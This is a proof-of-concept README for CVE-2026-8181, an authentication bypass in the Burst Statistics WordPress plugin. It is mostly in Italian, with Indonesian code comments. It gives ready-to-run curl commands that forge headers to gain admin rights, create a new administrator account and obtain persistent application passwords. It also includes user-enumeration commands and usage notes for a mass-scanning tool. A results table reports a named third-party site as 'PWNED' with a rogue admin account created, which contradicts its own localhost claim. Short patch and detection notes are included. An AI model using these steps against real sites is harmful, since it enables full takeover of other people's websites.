
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Bypass dell'autenticazione non autenticato per il takeover dell'account amministratore | Prova di concetto
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Versioni interessate | 3.4.0 – 3.4.1.1 |
| Versione patchata | 3.4.2 |
| Punteggio CVSS | 9.8 (Critical) |
| Tipo | CWE-287: Improper Authentication |
| Vettore di attacco | Network / Remote / Unauthenticated |
| Installazioni attive | ~200.000+ |
| Scoperto da | PRISM, Wordfence Threat Intelligence |
| Data di pubblicazione | 8 maggio 2026 |
La vulnerabilità critica di Authentication Bypass nel plugin WordPress Burst Statistics, versioni 3.4.0 fino alla 3.4.1.1, consente a un attaccante senza autenticazione di ottenere accesso amministratore completo a WordPress semplicemente conoscendo lo username dell'admin. La conseguenza è il takeover completo dell'account amministratore, inclusa la creazione di nuovi account, la modifica dei contenuti e persino l'installazione di plugin dannosi.
La vulnerabilità si trova nel metodo is_mainwp_authenticated() nel file includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
Bug principale: wp_authenticate_application_password(null, $username, $password) restituisce null (non WP_Error) quando le Application Password non sono disponibili, il che accade su:
wp_is_application_passwords_available() restituisce falseis_ssl() restituisce falsePoiché is_wp_error(null) è false, il codice prosegue con get_user_by('login', $username), che autentica solo in base allo username senza alcuna validazione della password.
Il metodo has_admin_access() viene richiamato in corrispondenza dell'hook plugins_loaded (priorità 9) in class-burst.php riga 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Questo hook viene eseguito PRIMA dell'elaborazione delle route della REST API, quindi wp_set_current_user() concede i privilegi admin per TUTTE le richieste — non solo per gli endpoint di Burst.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Modalità interattiva:
.txt, un dominio per riga)Formato di targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
I test sono stati eseguiti su WordPress 6.9 con Burst Statistics 3.4.1.1 (localhost):
| Target | Risultato |
|---|---|
ausdermitte-binz.de | PWNED CON SUCCESSO — Burst 3.4.1.1, bypass tramite binzwpadmin, account xenon1337 creato (ID:30) |
La correzione nella versione 3.4.2 risolve diversi problemi:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()wp_application_passwords user meta)X-BURSTMAINWP: 1 provenienti da IP esterniwp_users per nuovi account amministratorewp_options i transient burst_mainwp_app_token_*| File | Descrizione |
|---|---|
exploit_CVE-2026-8181.py | Exploit PoC per target singolo |
poc_CVE-2026-8181.py | Mass scanner multi-target con threading |
README.md | Questa documentazione |
Questo tool e la relativa documentazione sono destinati esclusivamente a test di sicurezza legittimi con autorizzazione esplicita. L'utilizzo senza autorizzazione su sistemi che non sono di vostra proprietà, o senza permesso scritto, è illegale. Gli autori non sono responsabili di eventuali usi impropri.
| Test | Risultato | Evidenza |
|---|
Accesso a /wp/v2/users/me senza auth | FALLITO | rest_not_logged_in |
| Accesso con header di bypass | RIUSCITO | Profilo admin + email + ruoli |
| Creazione di un nuovo account amministratore | RIUSCITO | User ID 2, ruolo: administrator |
| Lettura delle impostazioni di WordPress | RIUSCITO | Site title, email admin, URL |
| Ottenimento dell'Application Password | RIUSCITO | Token Base64 admin:password |
| Elenco dei plugin installati | RIUSCITO | Elenco completo con versioni |